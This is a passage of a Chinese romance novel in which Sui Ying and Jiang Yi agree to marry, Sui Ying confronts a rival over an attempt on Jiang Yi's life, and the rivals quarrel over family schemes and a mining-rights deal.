“嗯。”蒋弋握着她的手亲亲，“我做的。”
恰恰是大一除夕，他放完烟花，心口疼的厉害，开车路过一家首饰店，买了这枚戒指，将上面的钻石取掉，将红宝石嵌入。
隋英摸着戒指，“我很喜欢。”她将黑色戒指戴在他左手无名指，“我也答应你的求婚。”
103. Chap.103
婚期定在下月初，隋英和蒋弋本月上旬搬去水郡湾。
她一早就察觉到蒋弋并不喜欢住在贺家，当日只是重伤，需要休养。蒋君沅每次来这里，贺家人都尽量避开，其实所有人都感觉到别扭。
贺兰琛的别墅是每日出行必经之路。
隋英开车驶离别墅区，看到顾柔嘉站在贺兰琛家门外，忽然看向她。
她开的是蒋弋常开的那辆黑色越野。
本来想直接走，可顾柔嘉盯着，隋英心里也有气，猛踩刹车，堪堪停在顾柔嘉面前。
她眼里闪过惊诧，旋即恢复正常，冷笑着盯着隋英下车，“飞行员猛踩刹车是要出事故的，不过你就没这样的烦恼。”
飞行员是隋英曾经的伤疤。
她已自愈，顾柔嘉却还拿此说事。
“CA-8出了两次事故，也该退休了。”隋英一语双关。
冯总为求自保，将与顾柔嘉谋划之事和盘托出，导致蒋弋提前部署，顾家一败涂地，最后滑溜退休。
隋英一句说刺中顾柔嘉。
“你很得意是不是？”顾柔嘉死死盯着隋英领口遮挡不太严实的吻痕，只觉得刺目眩晕。
她真的好恨。
恨隋英消失了七年为什么还要出现，恨蒋弋毁诺，现在竟将她逼入绝境，丝毫不顾念往日情分。
隋英不想跟她掰扯其他，厉声责问，“是你派去人害蒋弋重伤，险些回不来。”
顾柔嘉脸色大变，死死咬着牙关，眼睛瞪的瞠圆，最后才从齿缝里挤出几个字，“你胡说。”
“在莉萨拉疫区攻击追杀蒋弋的人你敢说不是你。”
副队说过，在疫区和蒋弋交手的人是跟着隋英痕迹找来的，按理说他们发现蒋弋等人时，应该即刻撤离才对。
可事实上他们将蒋弋阿叶逼到跳下峡谷岩壁，险些丧命。
而彼时，那些人的身份根本没有暴露。
“哼，呵呵~”顾柔嘉笑的很怪，“既然你清楚，那你应该知道我想你死，本来你就应该死在里面，和那些该死的虫血病人一样，发烂！发臭！永远都不要离开那个鬼地方。”
她姣好精致的面容变得扭曲，双眼嗜血，几欲癫狂。
啪！
隋英想也没想，直接给她一个耳光。打完之后，她自己也惊了，顾柔嘉捂着脸，长这么大，没想过会有人给她耳光。
还是她最痛恨的人。
“那些病人不是该死，他们也有活下去的权利，他们只是些可怜人。”隋英声音很冷，眼神也暗淡下去。
她和赵院长通过电话，疫区的病人无人医治，活下来的唯蓝莓一人。
虫血病一旦病发，根本没救。
但染病，且尚未病发的虫血病找到了遏制办法。
隋英听到这些时，眼前不时浮现她在疫区看到的那些面孔。当时张皇失措，没来得及和他们说一句话，甚至都没敢靠近一步。
或许那些人已经死去，或许还在忍受痛苦，已经无从得知了。
“你真虚伪。”顾柔嘉眼里仿佛淬了毒，丝毫没有曾经盛气凌人目无下尘的骄傲，反倒是阴暗毒辣，令人不适。
隋英不想再与她废话，直接开车离开。
后视镜里顾柔嘉笑的东倒西歪，最后抱臂蹲下，肩膀耸动。
派去解决隋英的人是她，可对蒋弋下手真的不是她，然而事情已经发生，那些人连同那个司机早已被灭口。
而这些账却悉数算在她头上。
“顾家东山再起，你看上去好像并不高兴。”
贺兰琛声音冰凉，居高临下，看顾柔嘉的眼神与路边的野草并无区别，任谁看了都不会觉得这两人刚订婚。
“是你，”顾柔嘉霍然清醒，猛地站起，指着贺兰琛，“是你派人追杀蒋弋，都是你做的，却要我来背这个黑锅。”
“那些人不都是你雇的吗？”
顾柔嘉脸色青白交加，“是我雇的，但我没有想过要害蒋弋，呵，呵……”
她突然癫狂地笑了。
“你以为蒋弋死了，贺家就接受你了？做梦。你们母子在贺家眼皮底下这么多年，可有谁正眼瞧过你们？”
贺兰琛脸色顿时阴沉，敛眸掩下情绪，“我是替你收拾烂摊子，替你解决那个知道你底细的司机，至于你雇来害隋英的人，我事先根本不知道。”
“那是谁？”
贺兰琛脸上浮现出一抹残忍的笑意，“谁最害怕蒋弋活着回来。”
“……是，”顾柔嘉身子晃动，后退几步，不可置信，“我……”顾家人。只有顾家人害怕蒋弋报复，所以干脆一不做二不休。
“不，我爸妈不会不为我着想，不会，他们不会。”
顾柔嘉想说的是顾家人不敢，蒋弋要是死了，贺家和蒋家不会放过任何一个参与此事的人。
“他们正是为你着想，”贺兰琛冷冷逼近，“蒋弋一死，你也正好死心，贺家与顾家联姻，蒋君沅出局，皆大欢喜。”
顾柔嘉瞥了眼贺兰琛，“是你欺骗我爸妈。你还是想认回贺家。”
“如今蒋弋对付顾家，你应该好好想想该怎么应对，而不是继续纠缠和隋英那一点恩怨，”
“住口，”顾柔嘉厉声打断他，“我本来已经胜券在握，是你联合我爸妈，将矿山的开发权卖了，害得我们现在一点筹码都没有，你还敢指点我？”
贺兰琛冷笑连连，毫不客气地讥讽，“你真的一点格局都没有，只顾着针对隋英，完全不管顾家，若不是卖的开发权的这笔钱，顾家已经破产，你今天早已没资格跟我订婚。”
“别说的这么冠冕堂皇，你是为了拉拢顾家去和蒋弋斗，也不掂量掂量自己，你有这个能耐吗。”
贺兰琛眼底划过一抹狠厉，“你以为拿捏苏韫家破产命脉就能逼迫隋英和蒋弋就范？”
“你根本不了解隋英和苏韫之间的感情。”
“你这么了解感情，为什么还是得不到蒋弋的心？”
顾柔嘉目眦尽裂，声嘶力竭，“你住口，你去死……”
-
贺兰琛和顾柔嘉结婚消息传来时，隋英正在冀北陪苏韫庆贺苏父苏母拿到南非矿山开发权。
“你帮我谢谢蒋弋，”苏韫将隋英拉到一边，“我爸妈说等资金回笼，就把竞标的钱还你们。”
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隋英：？
“你不知道？”
隋英微不可查地摇头，“你不是说蒋弋还有丁总竞标，没抢到吗？”
当时没拿到，她还觉得挺可惜，蒋弋也没说什么。
“哼！”苏韫撇嘴，“我真没想到丁文泽连我都瞒着。”
原来顾家被蒋弋逼到破产边缘，最后经人提醒，放出矿山开发权，也没真的打算卖，直到丁文泽和蒋弋先后放弃竞价，有人出了远高市场价的价格，顾家才决心转让。
而丁文泽早就收到顾家并没有出售打算的消息，干脆和蒋弋联手，玩了一出戏，那个所谓神秘大佬，就是蒋弋。
隋英怔然，她真的不知道是蒋弋。
为了答应她的事，主动给顾家巨额资金，眼看他们起死回生，再次猛烈攻击他。
苏家聚会结束，隋英等人将苏韫送到机场，纪羡却等机场。
隋英不知道苏韫和纪羡单独说了什么，看两人表情，苏韫平静淡然，似乎早已看开，纪羡却是黯然神伤。
只是两人谈过之后，丁文泽却说，他原本正要是要去卡罗林斯谈笔买卖，跟着一起上了飞机。
大家心照不宣。
苏父苏母很满意丁文泽表现，不停地向隋英打听丁文泽情况，得知他们都是河道二中同班同学，心里是一百个放心。
纪羡脸色就没那么好看。
隋英飞南渝的飞机还有点时间，她坐在机场咖啡店里休息，纪羡在她对面坐下。
“谢谢你。”
隋英微笑，“如果是为了开发权的事，那就不用说了，我们和苏韫原本就是同班同学，互相帮助也是应该的。”
纪羡失笑，“你没操控过资金吧，我是说足以撬动一场企业风暴的资金。”
“蒋弋为了你，可真是舍得。”
隋英垂睫，不再说话。
“既然他听你的，那你就再劝劝他，到此为止。”
隋英看了眼时间，“你这次又是为谁当说客？”
“时移世易，今天的顾家是蒋弋亲手扶持的，他自己也陪进去不少吧，何必呢。”
“你也说了，今天的顾家不同往日，他们难道会收手？难道要蒋弋被动挨打？”
更何况顾家和贺兰琛结合，至使贺家投鼠忌器，不会下死手；而蒋君沅也不会置顾柔嘉于死地。
这两人联姻，吃定所有人。
纪羡放下咖啡杯，“你还是不了解蒋家的实力。”
“学长，你到底想说什么？”隋英实在看不懂纪羡。
纪羡盯了她看了好一会，“我为顾家当说客，请求你放他们一马。”
她连蒋弋花大资金拍下开发权的事都不知道，何谈其他，她需要亲口问他。
蒋弋对此事反应很淡，“一点小钱而已，”手上的动作愈发放肆，隋英才离开一天，就像是分开一个月一样，触碰着她身体的每一寸肌肤，声音带着蛊惑，“老婆，你想我吗？”
“等等，”隋英忽然想起一件事，“我好像是排卵期。”
男人声音沙哑，很无耻地说，“老婆，我们就没做过措施，你现在才想起来！说不定都怀上了。”